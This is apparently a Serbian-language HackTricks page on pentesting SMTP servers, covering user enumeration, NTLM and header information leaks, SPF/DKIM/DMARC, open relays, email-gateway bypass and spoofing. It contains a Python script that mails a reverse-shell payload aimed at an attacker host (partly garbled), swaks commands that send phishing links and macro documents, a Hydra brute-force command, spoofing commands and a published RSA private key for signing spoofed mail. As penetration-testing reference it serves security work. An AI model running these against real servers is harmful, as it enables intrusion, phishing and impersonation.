25,465,587 - Pentesting SMTP/s
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Simple Mail Transfer Protocol (SMTP) je protokol koji se koristi u okviru TCP/IP skupa za slanje i primanje e-pošte. Zbog ograničenja u redu čekanja poruka na strani primaoca, SMTP se često koristi zajedno sa POP3 ili IMAP. Ovi dodatni protokoli omogućavaju korisnicima da čuvaju poruke na serverskom mailbox-u i periodično ih preuzimaju.
U praksi je uobičajeno da e-mail programi koriste SMTP za slanje poruka, dok za primanje koriste POP3 ili IMAP. Na Unix sistemima, sendmail je najčešće korišćen SMTP server za potrebe e-pošte. Komercijalni paket Sendmail obuhvata POP3 server. Pored toga, Microsoft Exchange obezbeđuje SMTP server i nudi opciju uključivanja podrške za POP3.
Podrazumevani port: 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
Email Security Gateways (SEGs)
Kao što je pomenuto u ovom blog postu Secure Email Gateways (SEGs) stoje in-line sa dolaznim tokovima pošte tako što menjaju MX records da upućuju na SEG umesto na mail server. SEG ispituje dolaznu poštu (npr. IP reputation, blocklists, SPF checks, spoofing detection, metadata/content analysis, sandboxing, URL rewriting) i zatim prosleđuje, odbacuje ili stavlja poruke u karantin u skladu sa politikom. Bezbednosni model pretpostavlja da sva dolazna pošta prvo stiže do SEGa; ako se mail server može direktno dostići, SEG se može izbeći (slično preskakanju WAF-a tako što se govori direktno originu).
Avoiding SEGs via MX mismatch
Organizacije koje koriste Entra ID / Exchange Online često imaju više accepted domena. Ako bilo koji accepted domain ima MX record koji points directly to the mail server (npr. Exchange Online) umesto SEGa, možete dostaviti mail na taj domen i izbeći SEG. Ovo je misconfiguration (ne ranjivost) ali i dalje čest propust.
Takođe obratite pažnju na podrazumevani <tenant>.onmicrosoft.com domen: njegov MX record uvek upućuje na Exchange Online. Ako inbound za *.onmicrosoft.com nije zaključan, slanje na user@<tenant>.onmicrosoft.com može direktno završiti u inboxu dok zaobilazi SEG.
Defanzivne napomene:
- Zaključajte inbound za
*.onmicrosoft.com. - Redovno vršite audit accepted domena i njihovog MX routinga.
- Konfigurišite mail servere da prihvataju samo inbound sa SEGa.
EMAIL Headers
Ako imate priliku da naterate žrtvu da vam pošalje email (npr. preko contact forma na web stranici), iskoristite je jer možete saznati internu topologiju žrtve gledajući headers poruke.
Takođe možete dobiti email od SMTP servera koji pokušava da pošalje tom serveru email na nepostojeću adresu (jer će server napadaču poslati NDN mail). Ali, proverite da li šaljete email sa dozvoljene adrese (proverite SPF policy) i da li možete primati NDN poruke.
Takođe treba da pokušate da pošaljete različit sadržaj jer možete naći zanimljivije informacije u headerima, npr: X-Virus-Scanned: by av.domain.com
Trebalo bi da pošaljete EICAR test fajl.
Detektovanje AV može vam omogućiti da iskoristite poznate ranjivosti.
Osnovne radnje
Banner Grabbing/Basic connection
SMTP:
nc -vn <IP> 25
SMTPS:
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
Pronalaženje MX servera organizacije
dig +short mx google.com
Enumeracija
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
NTLM Auth - Otkrivanje informacija
Ako server podržava NTLM auth (Windows), možete dobiti osetljive informacije (verzije). Više informacija here.
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
Ili ovo automatizujte koristeći nmap plugin smtp-ntlm-info.nse
Interno ime servera - Otkrivanje informacija
Neki SMTP serveri automatski dopunjavaju adresu pošiljaoca kada se komanda “MAIL FROM” izda bez pune adrese, otkrivajući svoje interno ime:
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
Sniffing
Proverite da li u paketima koji idu na port 25 možete presresti neku lozinku
Auth bruteforce
Enumeracija korisničkih imena — Bruteforce
Autentifikacija nije uvek potrebna
RCPT TO
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok
VRFY
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown
EXPN
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost
Automatski alati
Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
DSN izveštaji
Delivery Status Notification Reports: If you send an email to an organisation to an invalid address, the organisation will notify that the address was invalided sending a mail back to you. Zaglavlja vraćenog email-a će sadržati moguće osetljive informacije (poput IP address mail services koji su interagovali sa izveštajima ili anti-virus software info).
Commands
Slanje Email-a sa linux konzole
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
<phishing message>
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
Prilikom prikačivanja fajlova sa swaks, koristite prefiks @ da bi bajtovi fajla bili uloženi umesto doslovnog naziva fajla. Ovo je presudno za isporuku dokumenata sa makroima:
swaks --to hr@example.local --from attacker@evil.com --header "Subject: Resume" --body "Please review" --attach @resume.doc --server 10.0.0.5
Slanje e-pošte pomoću Pythona
Python kod ovde
```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import syslhost = “127.0.0.1” lport = 443 rhost = “192.168.1.1” rport = 25 # 489,587
create message object instance
msg = MIMEMultipart()
setup the parameters of the message
password = “” msg[‘From’] = “attacker@local” msg[‘To’] = “victim@local” msg[‘Subject’] = “This is not a drill!”
payload
message = (“& /dev/tcp/%s/%d 0>&1'); ?>” % (lhost,lport))
print(“[*] Payload is generated : %s” % message)
msg.attach(MIMEText(message, ‘plain’)) server = smtplib.SMTP(host=rhost,port=rport)
if server.noop()[0] != 250: print(“[-]Connection Error”) exit()
server.starttls()
Uncomment if log-in with authencation
server.login(msg[‘From’], password)
server.sendmail(msg[‘From’], msg[‘To’], msg.as_string()) server.quit()
print(“[***]successfully sent email to %s:” % (msg[‘To’]))
</details>
## SMTP Smuggling
SMTP Smuggling ranjivost je omogućila zaobilaženje svih SMTP zaštita (pogledajte sledeći odeljak za više informacija o zaštitama). Za više informacija o SMTP Smuggling pogledajte:
<a class="content_ref" href="smtp-smuggling.md"><span class="content_ref_label">SMTP Smuggling</span></a>
## Protu mere za Mail Spoofing
Organizacijama se onemogućava slanje neautorizovanih email poruka u njihovo ime upotrebom **SPF**, **DKIM** i **DMARC**, s obzirom na lakoću spoofovanja SMTP poruka.
Kompletan vodič za ove protumere dostupan je na [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
### SPF
> [!CAUTION]
> SPF [je bio "deprecated" 2014.](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). To znači da umesto kreiranja **TXT record** u `_spf.domain.com` kreirate isti u `domain.com` koristeći **istu sintaksu**.\
> Pored toga, da biste ponovo iskoristili prethodne spf zapise, prilično je uobičajeno naći nešto poput `"v=spf1 include:_spf.google.com ~all"`
**Sender Policy Framework** (SPF) je mehanizam koji omogućava Mail Transfer Agents (MTAs) da provere da li je host koji šalje email autorizovan tako što upituje listu autorizovanih mail servera definisanih od strane organizacija. Ta lista, koja specificira IP adrese/opsege, domene i druge entitete **autorizovane da šalju email u ime domena**, uključuje različite "**Mechanisms**" u SPF zapisu.
#### Mehanizmi
Iz [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):
| Mechanism | Description |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Uvek se poklapa; koristi se za podrazumevani rezultat kao npr. `-all` za sve IP adrese koje nisu pokrivene prethodnim mehanizmima. |
| A | Ako domen ima address record (A ili AAAA) koji se može razrešiti na adresu pošiljaoca, poklapa se. |
| IP4 | Ako se pošiljalac nalazi u datom IPv4 opsegu adresa, poklapa se. |
| IP6 | Ako se pošiljalac nalazi u datom IPv6 opsegu adresa, poklapa se. |
| MX | Ako domen ima MX zapis koji se razrešava na adresu pošiljaoca, poklapa se (tj. pošta dolazi sa jednog od prijemnih mail servera domena). |
| PTR | Ako je domen (PTR record) za adresu klijenta u navedenom domenu i taj domen se razrešava na adresu klijenta (forward-confirmed reverse DNS), poklapa se. Ovaj mehanizam se ne preporučuje i treba ga izbegavati, ako je moguće. |
| EXISTS | Ako dati domen rezoluje na bilo koju adresu, poklapa se (bez obzira na adresu na koju se razrešava). Retko se koristi. Zajedno sa SPF macro jezikom omogućava kompleksnije poklapanje kao što su DNSBL upiti. |
| INCLUDE | Referencira politiku drugog domena. Ako politika tog domena prolazi, ovaj mehanizam prolazi. Međutim, ako uključena politika ne uspe, procesiranje se nastavlja. Da biste potpuno delegirali politici drugog domena, mora se koristiti redirect ekstenzija. |
| REDIRECT | <p>Redirect je pokazivač na drugi domen koji hostuje SPF politiku; omogućava da više domena dele istu SPF politiku. Korisno je kada radite sa velikim brojem domena koji dele istu email infrastrukturu.</p><p>SPF politika domena naznačenog u redirect mehanizmu će se koristiti.</p> |
Takođe je moguće identifikovati **Qualifiers** koji označavaju **šta treba uraditi ako se mehanizam poklopi**. Po defaultu koristi se **kvalifikator "+"** (tako da ako se neki mehanizam poklopi, to znači da je dozvoljeno).\
Obično ćete naći **na kraju svake SPF politike** nešto poput: **\~all** ili **-all**. To služi da označi da **ako se pošiljalac ne poklapa ni sa jednom SPF politikom, treba označiti email kao nepouzdan (\~) ili odbiti (-) email.**
#### Kvalifikatori
Svaki mehanizam u okviru politike može biti prefiksiran jednim od četiri kvalifikatora da definiše očekivani rezultat:
- **`+`**: Odgovara rezultatu PASS. Po defaultu mehanizmi pretpostavljaju ovaj kvalifikator, pa je `+mx` ekvivalentno `mx`.
- **`?`**: Predstavlja NEUTRAL rezultat, tretira se slično kao NONE (nema specifične politike).
- **`~`**: Oznaka SOFTFAIL, služi kao sredina između NEUTRAL i FAIL. Emailovi sa ovim rezultatom se obično prihvataju ali su adekvatno označeni.
- **`-`**: Oznaka FAIL, sugeriše da email treba biti odmah odbijen.
U narednom primeru ilustrovana je **SPF politika google.com**. Obratite pažnju na uključivanje SPF politika sa različitih domena unutar prve SPF politike:
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
Tradicionalno je bilo moguće spoof-ovati bilo koje ime domena koje nije imalo ispravan/ni jedan SPF zapis. Danas, ako email dolazi sa domena bez važećeg SPF zapisa verovatno će biti odbijen/označen kao nepouzdan automatski.
Za proveru SPF-a domena možete koristiti online alate poput: https://www.kitterman.com/spf/validate.html
DKIM (DomainKeys Identified Mail)
DKIM se koristi za potpisivanje odlaznih email-ova, što omogućava njihovu validaciju od strane eksternih Mail Transfer Agents (MTAs) kroz preuzimanje javnog ključa domena iz DNS-a. Taj javni ključ se nalazi u TXT zapisu domena. Da biste pristupili ovom ključu potrebno je znati i selector i ime domena.
Na primer, za zahtev za ključ neophodno je ime domena i selector. Oni se mogu naći u mail header DKIM-Signature, npr. d=gmail.com;s=20120113.
Naredba za dohvat ovih informacija može izgledati ovako:
dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
DMARC (Domain-based Message Authentication, Reporting & Conformance)
DMARC unapređuje bezbednost e-pošte nadograđujući SPF i DKIM protokole. Definiše politike koje usmeravaju mail servere kako da postupaju sa porukama sa određenog domena, uključujući kako da se nose sa neuspesima autentifikacije i gde da šalju izveštaje o obradi poruka.
Da biste dobili DMARC DNS zapis, potrebno je da upitate poddomen _dmarc
# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"
# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"
# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
DMARC tagovi
| Naziv taga | Svrha | Primer |
|---|---|---|
| v | Verzija protokola | v=DMARC1 |
| pct | Procenat poruka koje podležu filtriranju | pct=20 |
| ruf | URI za forenzičke izveštaje | ruf=mailto:authfail@example.com |
| rua | URI za agregatne izveštaje | rua=mailto:aggrep@example.com |
| p | Politika za organizacioni domen | p=quarantine |
| sp | Politika za poddomene organizacionog domena | sp=reject |
| adkim | Način poravnanja za DKIM | adkim=s |
| aspf | Način poravnanja za SPF | aspf=r |
What about Subdomains?
Iz here.
Potrebno je imati zasebne SPF zapise za svaki poddomen sa kog želite da šaljete mail.
Sledeće je izvorno objavljeno na openspf.org, koji je nekada bio odličan resurs za ovakve stvari.
The Demon Question: What about subdomains?
If I get mail from pielovers.demon.co.uk, and there’s no SPF data for pielovers, should I go back one level and test SPF for demon.co.uk? No. Each subdomain at Demon is a different customer, and each customer might have their own policy. It wouldn’t make sense for Demon’s policy to apply to all its customers by default; if Demon wants to do that, it can set up SPF records for each subdomain.
So the advice to SPF publishers is this: you should add an SPF record for each subdomain or hostname that has an A or MX record.
Sites with wildcard A or MX records should also have a wildcard SPF record, of the form: * IN TXT “v=spf1 -all”
Ovo ima smisla — poddomen može biti u potpuno drugoj geografskoj lokaciji i imati veoma drugačiju SPF definiciju.
Open Relay
Kada se šalju emailovi, važno je obezbediti da ne budu označeni kao spam. Ovo se često postiže korišćenjem relay servera kojem primalac veruje. Međutim, čest problem je što administratori možda nisu potpuno svesni koje su IP opsege bezbedno dozvoliti. Ovaj nedostatak razumevanja može dovesti do grešaka pri podešavanju SMTP servera, rizika koji se često identifikuje u sigurnosnim procenama.
Rešenje koje neki administratori koriste da bi izbegli probleme sa isporukom mejlova, posebno u komunikaciji sa potencijalnim ili active klijentima, jeste da dozvole konekcije sa bilo koje IP adrese. To se postiže konfigurisanjem mynetworks parametra SMTP servera da prihvata sve IP adrese, kao što je prikazano niže:
mynetworks = 0.0.0.0/0
Za proveru da li mail server predstavlja open relay (što znači da može prosleđivati e‑poruke sa bilo kog spoljnog izvora), obično se koristi alat nmap. On sadrži specifičan skript namenjen za testiranje ovoga. Komanda za izvođenje detaljnog (verbose) skeniranja servera (na primer, sa IP 10.10.10.10) na portu 25 koristeći nmap je:
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
Alati
- https://github.com/serain/mailspoof Proverite SPF i DMARC miskonfiguracije
- https://pypi.org/project/checkdmarc/ Automatski dobijte SPF i DMARC konfiguracije
Pošaljite Spoof Email
Ili možete koristiti alat:
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
Warning
Ako dobiješ bilo kakvu grešku pri parsiranju ključa u dkim python lib slobodno koristi sledeći.
NAPOMENA: Ovo je samo prljav popravak za brze provere u slučajevima kada iz nekog razloga openssl privatni ključ ne može biti parsiran od strane dkim.-----BEGIN RSA PRIVATE KEY----- MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1 koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq 1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf 422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ== -----END RSA PRIVATE KEY-----Ili to možeš uraditi ručno:
# This will send an unsigned message
> mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
>
Više informacija
Pronađite više informacija o ovim zaštitama na https://seanthegeek.net/459/demystifying-dmarc/
Ostali indikatori phishinga
- Starost domena
- Linkovi koji upućuju na IP adrese
- Tehnike manipulacije linkovima
- Sumnjivi (neobični) prilozi
- Neispravan sadržaj e-pošte
- Vrednosti koje se razlikuju od onih u zaglavljima e-pošte
- Postojanje važećeg i pouzdanog SSL sertifikata
- Slanje stranice servisima za filtriranje web-sadržaja
Exfiltration through SMTP
Ako možete slati podatke putem SMTP-a read this.
Konfiguracioni fajl
Postfix
Obično, ako je instaliran, /etc/postfix/master.cf sadrži skripte za izvršavanje kada, na primer, korisnik primi novu poruku. Na primer, linija flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} znači da će se /etc/postfix/filtering izvršiti ako korisnik mark primi novu poruku.
Ostali konfiguracioni fajlovi:
sendmail.cf
submit.cf
Reference
- https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/
- https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/
- 0xdf – HTB/VulnLab JobTwo: Word VBA macro phishing via SMTP → hMailServer credential decryption → Veeam CVE-2023-27532 to SYSTEM
- https://21ad.netlify.app/blogs/the-silent-inbox-how-verified-emails-slip-past-email-security-gateways/
HackTricks automatske komande
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


